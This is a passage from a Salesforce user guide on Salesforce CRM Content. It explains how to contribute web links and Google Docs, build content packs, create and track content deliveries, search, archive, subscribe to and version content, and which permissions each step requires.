versions per 24hour period.

See Also:
Salesforce CRM Content File Size Limits
Uploading and Publishing Content
Managing Libraries
Contributing Web Links to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content

Salesforce CRM Content File Size Limits


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following are maximum file size limits for files in Salesforce CRM Content:

2 GB
10 MB for Google Docs
38 MB when uploaded via the API
10 MB when uploaded via Visualforce

See Also:
Uploading and Publishing Content
Using Google Docs in Salesforce
Searching for Content
Updating Content Versions

301

Salesforce CRM Content

Contributing Web Links to Salesforce CRM Content

Contributing Web Links to Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To publish Web links in Salesforce CRM Content:

Manage Libraries checked in your library permission

definition
OR
Add Content checked in your library permission definition

To classify and publish a Web link in Salesforce CRM Content:


1. Click the Libraries tab.
2. To add a new link, click Contribute > Do you want to link to a website instead?, then enter the URL, and click Contribute.
To publish a link that is already in your personal library, click the My Personal Content tab, locate the link, and click
Publish.
Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content
tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog.
Complete the following steps for each tab in the Save or Publish Content dialog.
3. Assign a title and description to your Web link.
4. Choose a library. This becomes the managing (home) library, meaning that the Web link can be shared with another
library but its content details page can only be edited by a user with relevant permissions in the managing library. If you
do not want the link to be visible to other users in your organization, choose Save in my personal library.
5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
6. To publish the content on behalf of another author, choose that author from the drop-down list.
7. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

302

Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.

See Also:
Uploading and Publishing Content
Contributing Files to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content


Salesforce CRM Content is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions
Google Docs is available in all editions

User Permissions Needed


Creating a Google doc and linking it to a Salesforce CRM
Content library:

Library member with a library permission that permits


contributing content
AND
Google Apps account

With Google Docs, you can create and share on-demand documents, presentations, and spreadsheets (Google docs) and
see your changes in real time as you collaborate with other users. Associating your Google docs with Salesforce CRM Content
allows you to access all types of content from a single, fully-indexed location. It also ensures that your Google docs receive the
feedback and tracking benefits provided by Salesforce CRM Content features such as votes, comments, and subscriptions.
Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the
Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 331.
For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see
Installing the Add Google Doc to Salesforce Browser Button on page 336.
Adding New Google Docs to a Salesforce CRM Content Library
1. On the Libraries tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc
drop-down button. You may be prompted to log in to Google Apps.
2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens
and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens.
3. In the Save or Publish Content dialog:
a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who
view the doc's content details page in Salesforce CRM Content.
b. Choose a library. If you do not want to put the doc in a public library, for example if the doc is still in progress, choose
Save in my personal library.

303

Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content

c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. To publish the content on behalf of another author, choose that author from the drop-down list.
e. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags
in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or
click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content
or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the
doc and provide feedback such as comments and votes.
Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.
Adding Existing Google Docs to a Salesforce CRM Content Library
If you have an existing Google doc, you can publish it into a library:
1. On the Libraries tab, choose Add Existing from the Add Google Doc drop-down button. A list of all the Google docs in
your Google Apps account displays.
2. Optionally, limit your list of docs by entering a search term or choosing to view only documents, presentations, or
spreadsheets.
3. Select the Google doc that you want to add to Salesforce CRM Content and click Contribute.
4. Optionally, edit the title of your Google doc and/or add a description.
5. Choose a library. If you do not want to add the doc to a public library, for example if the doc is still in progress, choose
Save in my personal library.
6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
7. To publish the content on behalf of another author, choose that author from the drop-down list.
8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and

304

Salesforce CRM Content

Creating and Modifying Content Packs in Salesforce CRM Content

the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
10. After completing the custom fields, click Publish or Save.

See Also:
Salesforce CRM Content File Size Limits
Using Google Docs in Salesforce
Uploading and Publishing Content

Creating and Modifying Content Packs in Salesforce CRM


Content
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or modify content packs in Salesforce CRM
Content:

Manage Libraries checked in your library permission

definition
OR
Add Content checked in your library permission definition

A content pack is a collection of related documents or files that are stored as a group in Salesforce CRM Content. For example,
you may want to create a content pack with a product list, price quote, and contract to send to a particular customer. Any file
in Salesforce CRM Content can be added to a content pack, from traditional business documents such as Microsoft PowerPoint
presentations and Adobe PDF files, to audio files, video files, and Google docs. Using email or instant messaging, you can
distribute the content pack to colleagues in your organization or leads and contacts outside your organization. The recipient
of a content delivery can click a single URL to open a preview player with which he or she can preview and download the
content. You can then view tracking information to see how often the content pack was viewed and which documents were
downloaded. For information about delivering content packs, see Setting up Content Deliveries on page 1462.
Note: Content packs support all files types; however, the preview player launched by the content-delivery URL displays
only PowerPoint, Word, Excel, and PDF files. The preview player does not display copy-protected PDFs. Also,
working with content packs requires Adobe Flash Player, version 9.0.11.5 or higher. If you do not have Flash installed,
Salesforce provides a link to Adobe's website where you can download Flash for free.

305

Salesforce CRM Content

Creating and Modifying Content Packs in Salesforce CRM Content

To work with content packs:


1. Depending on whether you want to create, customize, or modify a content pack, use one of the following options:
Note: The following options are only available if Enable content pack creation is selected on the Your
Name > Setup > Customize > Salesforce CRM Content > Settings page. If content pack creation is disabled after
packs have been created, Salesforce does not delete existing packs but they cannot be customized or modified.

To create a new content pack, click the Libraries tab and then choose Create New > Content Pack.
To create a new content pack by copying an existing pack and adding, removing, or reordering files, open the content
details page for the pack and click Clone & Customize.
To update a content pack and publish a new version, open the content details page for the pack and click Edit > Edit
Content Pack.

2. Click Search files to display all the content in your libraries. To refine your results, select a specific library to search or
enter a search term in the text box.
In addition to files and documents, search results also list content packs.
3. Drag the desired content from the search results into the assembly section in the lower half of the window. The following
options help you assemble your content pack:

In the search results, click a document to preview it in the lower half of the window. Choose Add to Content Pack or
Hide preview as needed.

In the search results, hover over a document and click the folder icon ( ) to view the content packs that use the
document.

In the search results, hover over a content pack and click the folder icon ( ) to view all the documents in the pack.

In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the
pack you are assembling.
Click Clear at any time to revert your changes; click Cancel to return to the Libraries tab.

Note: The maximum number of files that can be included in a content pack is 50.

4. When you are done assembling or modifying your content pack, click Save and assign or change the content pack's name.
5. In the Save or Publish Content dialog:
a. Select a library. If you do not want the content pack to be visible to other users in your organization, for example if
your work is still in progress, choose Save in my personal library.
b. Optionally, add or modify the content pack's description.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. If you are modifying the content pack, complete the Reason for Change field.
e. To publish the content on behalf of another author, choose that author from the drop-down list.
f. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags
in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags

306

Salesforce CRM Content

Using the Content Deliveries Related List

list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
h. Click Publish. You can then view the content details page, return to the Libraries tab, or publish another file.

See Also:
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content
Viewing and Editing Content Subscriptions

Using the Content Deliveries Related List


Available in: All Editions except Database.com

User Permissions Needed


To create a content delivery:

None

To edit a content delivery:

Owner of the record


OR
Modify all Data

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
From the Content Deliveries related list on leads, business accounts, contacts, opportunities, cases, campaigns, and custom
objects you can:

Click Deliver Content to create a new content delivery and associate it with the record you are viewing. For more
information, see Creating Content Deliveries on page 308.

307

Salesforce CRM Content

Creating Content Deliveries

Click Preview to open the content delivery. Each time you view a content delivery, it is recorded as one internal view on
the Views related list.
Click the content delivery name to open the detail page for that delivery. For more information, see Viewing and Editing
Content Deliveries on page 310.

See Also:
Salesforce CRM Content Overview

Creating Content Deliveries


Available in: All Editions except Database.com
Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

User Permissions Needed


To create content deliveries from a shared library in Salesforce Member of the library
CRM Content:
AND
Deliver Content checked in your library permission
definition
To create content deliveries from a personal library inSalesforce Deliver Uploaded Files and Personal Content checked in
CRM Content:
your general permission definition
To create content deliveries (non-Content user):

Deliver Uploaded Files and Personal Content checked in


your general permission definition

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
A content delivery can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content
users can also create a content delivery from the content details page or the Related Content related list.
To create a new content delivery:
1. From the Content Deliveries related list, Related Content related list, or the content details page, click Deliver Content.
2. Upload a file or confirm the file name. If you are a Salesforce CRM Content user, search for the content in your libraries
that you want to deliver. Salesforce CRM Content users can search for content in shared libraries or a personal library.
3. Optionally, modify the Delivery Name field. This is the name that identifies your content delivery in Salesforce. We
recommend using a name that will make the delivery easily distinguishable from other deliveries on the same record. The
default delivery name includes the file name and todays date.

308

Salesforce CRM Content

Creating Content Deliveries

4. Select the delivery methods that determine how your content can be viewed. The options that appear depend on the file
format you uploaded.

Choose Allow Recipient to View in the Browser to create an online version of the file that recipients can
view in their browser.
Choose Allow Recipient to Download as [file type] file to allow the recipient of your content delivery
to view the content in its original format. For example, if you uploaded a Microsoft Word file, this field will be Allow
download as .doc file.
Choose Allow Recipient to Download as PDF to create a .pdf version of the file. This option is only available
for Microsoft PowerPoint, Word, and Excel files.

5. Select Notify Me of First View or Download if you want to receive an email the first time your recipient clicks
the content-delivery URL.
6. If the content you are delivering is time-sensitive, select the Remove Access to Content on checkbox and enter an
expiration date. By default, the expiration date is 90 days from the current date. After creating your content delivery, you
can change the expiration date at any time on the delivery detail page.
7. Optionally, select Require a Password to Access Content. When you create the content delivery you will receive
a password to include with the delivery URL that you send to your recipients. The password is available for the life of the
delivery on the delivery detail page.
8. Optionally, use the lookup to associate your content delivery with a Salesforce record. The record you were viewing when
you clicked Deliver Content is selected by default.
9. Click Save & Next. Your delivery will usually be ready within a few moments, but you can click Notify Me to exit the
content delivery wizard and be notified via email when your content delivery is ready.
10. If you did not exit the content delivery wizard, click Preview to verify that you are satisfied with the delivery.
Important: Formatting in the original file may not display correctly in the online version. If you chose Allow
Recipient to View in the Browser, preview your content delivery before sending its URL to your
recipients. If you are not happy with the quality of the online version, click Previous and choose to make your
content available in its original file format or a PDF only.
11. Copy and paste the delivery URL and, if applicable, its password into an email or instant message for delivery. The URL
is available on the delivery detail page. For more information, see Viewing and Editing Content Deliveries on page 310.

See Also:
Using the Content Deliveries Related List
Setting up Content Deliveries
Salesforce CRM Content Overview

309

Salesforce CRM Content

Viewing and Editing Content Deliveries

Viewing and Editing Content Deliveries


Available in: All Editions except Database.com
Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

User Permissions Needed


To view the delivery detail page:

Access to the associated content details page in Salesforce


CRM Content
OR
Access to the record associated with the content delivery

To edit, expire, or delete a content delivery:

Owner of the record


OR
Modify all Data

On the Content Deliveries related list or the Content Deliveries list page, click the name of a content delivery to open the
detail page.
Viewing Content Delivery Details
The delivery detail page provides all the information associated with a content delivery, including the URL required to
access the content delivery, the number of times the delivery has been viewed, and the delivery settings. For a description
of each field, see Content Delivery Fields on page 1464.
Editing Content Delivery Details
Click Expire Now to immediately remove access to the content delivery. Click Edit to modify details such as the delivery
methods, expiration date, or the record the delivery is associated with. For a description of each field, see Content
Delivery Fields on page 1464.
Deleting Content Deliveries
Click Delete to remove access to the content delivery and delete the delivery record from Salesforce. Salesforce CRM
Content users cannot delete files that are associated with a content delivery until the content delivery is deleted.
Tracking Content Deliveries
Each time a content delivery's URL is opened, Salesforce records the event as a view. The Views related list on the
content delivery detail page lists every view associated with the delivery. Information about the view includes the date
and time, whether the view was by an internal (Salesforce) user, and whether the view included a download. If the content

310

Salesforce CRM Content

Searching for Content

delivery provided the ability to download the file in its original file format or as a PDF file, the File Downloaded flag
indicates that a download occurred, but you cannot distinguish between file types.

See Also:
Creating Content Deliveries
Using the Content Deliveries Related List

Searching for Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To search Salesforce CRM Content:

Salesforce CRM Content User checked in your personal

information
AND
Member of the library

Clicking the Content tab displays files, content packs, Web links, and Google docs published in your Salesforce CRM Content
libraries. If Chatter is enabled, and your administrator has enabled the setting to show Chatter files in Salesforce CRM Content,
files posted to Chatter groups and other Chatter files that aren't private or privately shared, are also displayed on the Content
tab. The top twenty most recently modified items are listed by default. You can filter the list using the Filter Your Results
sidebar.
To search for specific content:
1. From the Search drop-down list, restrict your search to a specific library or choose to search in all libraries. If available,
restrict your search to just Chatter files or just files in Chatter groups you're a member of.
Tip: To display all the locations where the content appears, click Display Options and select Display Locations.
The locations are listed under each title.
2. Enter your search term(s) and click Go!. Salesforce CRM Content performs a full-text search of the following document
types: rich text format (RTF), UTF-8 encoded TXT, HTML, XML, Adobe PDF, and Microsoft Office 97 through
Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard searches (*) are not supported.
3. If multi-language support is enabled, you can restrict your search to a specific language. By default, Salesforce CRM
Content searches all the content in your libraries that is published in your default user language. Searching in all languages
also searches the titles, author names, tags, file extensions, and custom fields of content in all languages.
Note: Searching in all languages does not search the text or description of documents that were published in
languages other than your default user language.

311

Salesforce CRM Content

Searching for Content

4. Optionally, in the Filter Your Results sidebar, filter your search results by file format, featured content, author, tag, libraries,
language, custom field, or Chatter group (if available). The number in parentheses next to each filter type shows you how
many matching files, content packs, Web links, and Google docs are in the search results.
The Content tab provides several options:

Click Display Options to customize your view by adding sortable columns for various content criteria (such as Size and
Publication Date), or choosing to display descriptions, tags and locations. Display Locations shows the libraries and
Chatter groups where the content appears. My Libraries: none or My Chatter Groups: none means that the file is a
Chatter file and is not part of any libraries or Chatter groups. The smart bar graphic for downloads, comments, ratings,
and subscribers allows you to compare files, content packs, Google docs, and links within a search result set.
Note: Chatter groups are only included in Display Locations if Chatter is enabled, and your administrator has
enabled the setting to show Chatter files in Salesforce CRM Content.

Select one or more files and click Download to create a zip file with your selected content. Web links and Google docs
cannot be included in zip files.
Hover over a file icon to see a snapshot of information about the specific file, content pack, Google doc, or Web link and
options such as subscribing, voting, and downloading.
Click the subscription icon next to the file name to toggle a subscription on or off. For more information, see Viewing and
Editing Content Subscriptions on page 317.
Click the file name to view the content details page. The content details page provides all the available information about
a file, content pack, Google doc, or link. For more information, see Viewing and Editing Content Details on page 313.

Search supports several file types and has limits on file sizes. If a file exceeds the maximum size, the text within the file isn't
searched, but the file's author name, tags, file extension, and custom fields are.
File Type

File Extensions

Maximum File Size for Text Within the


File to be Searchable

HTML

.htm, .html, .xhtml

5 MB

PDF

.pdf

25 MB

PPT

.ppt, .pptx, .pptm

25 MB

RTF

.rtf

5 MB

Text

.c, .cpp, .css, .csv, .ini, .java,


.log, .sql, .txt

5 MB

Word

.doc, .docx, .docm

25 MB

XML

.xml

5 MB

XLS

.xls, .xlsx, .xlsm

5 MB

See Also:
Deleting, Archiving, and Restoring Content
Uploading and Publishing Content
Managing Libraries

312

Salesforce CRM Content

Viewing and Editing Content Details

Viewing and Editing Content Details


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To preview and download shared content:

Member of the library

To preview and download private content:

None

To upload a new version:

Add Content checked in your library permission definition

To archive and restore content:

Archive Content checked in your library permission

definition
OR
Author of the content
To permanently delete content:

Delete Content checked in your library permission

definition
To view and edit comments:

Modify Comments checked in your library permission

definition
To delete comments:

Delete Comments checked in your library permission

definition
To tag content:

Tag Content checked in your library permission definition

To mark content as featured:

Feature Content checked in your library permission

definition
To deliver content from a shared library:

Deliver Content checked in your library permission

definition
To deliver content from a personal library:

Deliver Uploaded Files and Personal Content

checked in your library permission definition


To post content from a library to a Chatter feed:

Post Content to Chatter Feeds checked in your library

permission definition

Clicking a file name on the Libraries, Content, or Subscriptions tabs opens the content details page, which is a central access
point to preview content and gather information about a particular file, Web link, content pack, or Google doc in Salesforce
CRM Content. Starting with the Summer '10 release, if Chatter is enabled for your organization, files posted to Chatter are
also listed.
The Preview tab displays if your file is one of the following types:

Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007 features
don't display correctly in previews.
Adobe PDF. Copy-protected PDFs can't be previewed.
JPG, BMP, GIF, and PNG

313

Salesforce CRM Content

Viewing and Editing Content Details

The following options are available on the content details page depending on the type of content you are viewing, your library
permissions, and whether the content is in a public or private library, or from Chatter:

Click the thumbs up or thumbs down icon to vote for the file, Web link, content pack, or Google doc. To change your
vote, click the opposite icon. After you cast a vote, the Recent Activity list on the Libraries tab indicates whether you like
or dislike the content.
Click Deliver Content to create a content delivery. Click Deliver Content > Show Content Deliveries to view a list of
deliveries associated with the content.
For Web links or Google docs, click the Open button to open the Web page in a separate window. For files, click the
Download button to open or save the file.
Click Subscribe or Subscribed to toggle your subscription on or off.
For content packs, click Clone & Customize to create a new pack by adding or removing files and slides. Salesforce CRM
Content saves or publishes your customized pack as new content, not a version of the pack you copied.
Click Edit > Edit Content Details to modify standard and custom fields.
Click Edit > Edit Content Pack to create a new version of a content pack by adding or removing files.
For files, click Edit > Upload New Version to replace the file with a new version. The version option is not available for
Web links, content packs, or Google docs.
Note: If the Add New Version button is grayed out, your organization has exceeded its file storage allowance and
new content cannot be uploaded.

Click Edit > Archive Content to remove the file, Web link, content pack, or Google doc from the library. Authors can
archive and restore their own content regardless of library permissions.If a file is in Salesforce CRM Content and also
posted in Chatter, archiving it doesn't remove the Chatter post.
Click Edit > Delete Content to delete the file, Web link, content pack, or Google doc from Salesforce CRM Content by
moving it to the Recycle Bin. Authors can delete and undelete their own content regardless of library permissions. Deleting
a Google doc removes the doc's association with Salesforce CRM Content but does not delete the doc in Google Apps.
You cannot delete a file that is included in a content pack or content delivery. Deleting a Chatter file from the content
details page deletes the file from Salesforce CRM Content and from Chatter.
Click Edit > Library Actions and choose Move to Another Library to move the content to a different managing (or
home) library. Choose Share to Another Library to share content into additional libraries without changing the managing
library. Sharing or linking content to other libraries enables members of those libraries to find your content. If the managing
library and shared library have different tagging rules, the most restrictive tagging rule applies. If you want to remove
content from a library where the content is shared, click Remove from Libraries. This option does not remove content
from its managing library
Click the Comments subtab to view, add, edit, or delete comments.
Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors.
Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file. Download
data is not available for Web links or Google docs.
Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file, Web link, or Google
doc. To subscribe to an author, click the drop-down button next to the author's name. To subscribe to a library, click the
drop-down button next to the library name.
Click a tag name to view all the content associated with that tag. Click the arrow next to the tag to remove the tag or to
subscribe to all content with that tag.
To add a new tag, enter a tag name in the Add Tags field and click Save. As you type a tag, Salesforce CRM Content
autosuggests tags based on the tags in your My Recent Tags list in the Save or Publish window and the Popular Tags
section on the Libraries tab.

314

Salesforce CRM Content

Deleting, Archiving, and Restoring Content

Note: If your administrator applied a library tagging rule, you may not be able to enter new tags. If the guided
tagging rule is applied, you can click Add Tags and choose from the list of suggested tags or enter new tags. If the
restricted library tagging rule is applied, you can click Add Tags and choose from the list of suggested tags, but
you cannot enter your own tags.

Click the author's name to see a list of the author's published content. Click the arrow next to the author's name and choose
Subscribe to Author to subscribe to all content published by that author.
Click Feature or Don't Feature to toggle the feature designation on or off. Featured content receives a higher priority
than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured
files with that term will appear at the top of the search results list. Featured content is also listed on the library overview
and library detail pages for quick access.
Click a library name to view details about the library. Click the arrow next to the library name and choose Subscribe to
Library to subscribe to all content in the library or Show Library Content to view a list of all files, content packs, Web
links, and Google docs published to the library.

See Also:
Updating Content Versions
Deleting, Archiving, and Restoring Content
Searching for Content

Deleting, Archiving, and Restoring Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To archive and restore any content in the library:

Archive Content checked in your library permission

definition
To archive and restore content that you published:

Add Content checked in your library permission definition

To delete content:

Delete Content checked in your library permission

definition

Salesforce CRM Content offers two methods for removing content: archiving and deleting. Archiving a piece of content
removes it from its library but does not permanently delete it from Salesforce CRM Content. Once archived, content cannot
be downloaded and it does not appear in search results, but you can locate and restore it if necessary. Deleted content, however,
is permanently deleted from Salesforce CRM Content when the Recycle Bin is emptied.
Note: If you delete a content pack, you do not delete the individual files within the pack; only the pack (container) is
deleted. Files that are included in a content pack or content delivery cannot be deleted until the pack or delivery is
deleted.
To archive or delete content:
1. Click the file name on the Libraries, Content, or Subscriptions tabs.

315

Salesforce CRM Content

Deleting, Archiving, and Restoring Content

2. On the content details page, click Archive Content or Delete Content.


Note:

Authors can always archive and restore their own content. Authors do not require the Archive Content
library permission option.
If a file is in Salesforce CRM Content and also posted in Chatter, archiving it doesn't remove the Chatter post.
Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from
Chatter.

To restore archived content, open the content details page and click Restore Content. You can use any of the following
methods to open the content details page for an archived piece of content:

Follow a bookmark to the archived content.


In the Libraries tab, click a library name to open the library details page. Click the View Archived Content link to see a
list of archived content on the Content tab. The View Archived Content link only displays if you have the Archive
Content, Add Content, or Manage Libraries privileges in your library permission. If you have the Archive
Content or Manage Libraries privileges, you will see a list of all archived content in the library, regardless of author.
If you do not have those privileges but have the Add Content privilege, you will only see archived content that you
authored and archived. Click the content you want to restore to open the content details page.

To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete.
Note: Archived and deleted files are automatically removed from subscription lists. Subscribers are not notified when
content is archived or deleted.

See Also:
Uploading and Publishing Content
Updating Content Versions
Viewing and Editing Content Details
Viewing and Editing Content Deliveries

316

Salesforce CRM Content

Viewing and Editing Content Subscriptions

Viewing and Editing Content Subscriptions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To subscribe to content:

Salesforce CRM Content User checked in your personal

information
AND
Member of the library

Clicking the Subscriptions tab displays the Subscriptions home page, where you can view your Salesforce CRM Content
subscriptions and toggle them off or on.
Note: To subscribe to a file, content pack, Web link, or Google doc, view its content details page and click Not
Subscribed. From the content details page you can also subscribe to a tag, author, or library by using the drop-down
menus next to the tag, author, or library name.
On the Subscriptions tab, click the Content, Tags, Authors, or Libraries subtabs to view your subscriptions. Depending on
your notification settings, you are notified of changes to your subscribed content via real-time emails or a once-daily email.
Tip: To configure your notification settings, go to Your Name > Setup > My Personal Information and click Edit.
Choose Receive Salesforce CRM Content email alerts. If you want to receive a once-daily summary
rather than real-time email alerts, also select Receive Salesforce CRM Content emails as daily digest.
Subscriptions generate the following notifications:

If you subscribe to a file, you are notified when a viewer adds comments to the file or when a new version of the file is
published. If you subscribe to a Web link or Google doc, you are notified when comments are added but not when the
link is changed or the doc is edited.
If you subscribe to a content pack you are notified when a new version of the pack is published. Unless you are subscribed
to the individual files within a content pack, you are not notified when new versions of the files are published.
If you subscribe to a tag, you are notified of any newly published content that is associated to the subscribed tag. To be
notified that new versions of the tagged content are available, subscribe to the content.
If you subscribe to an author, you are notified when the author publishes new content. To be notified that new versions
of an author's content are available, subscribe to the content.
If you subscribe to a library, you are notified when new content is added to the library, including existing content that has
been newly linked to your subscribed library. To be notified that new versions of the library content are available, subscribe
to the content.

See Also:
Searching for Content
Viewing and Editing Content Details
Managing Libraries

317

Salesforce CRM Content

Updating Content Versions

Updating Content Versions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add a new version:

Add Content checked in your library permission definition

Clicking a file name on any Salesforce CRM Content tab opens the content details page.

Publishing a New Version


To publish a new version of the file and update its properties:
1. Click Edit > Upload New Version. This option does not appear for Web links, content packs, or Google docs.
To add or remove files from a content pack, see Creating and Modifying Content Packs in Salesforce CRM Content on
page 305.
2. Click Browse to find and select the updated file.
3. As needed, update the Title and Description fields.
4. Fill out the Reason for change field. This text is included on the email notifications sent to subscribers and the version
list located on the content details page.
5. To publish the content on behalf of another author, choose that author from the drop-down list.
6. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

7. Update any custom fields as needed.


8. Click Publish.

Notes on Content Versions


Consider the following information when creating or modifying a new version:

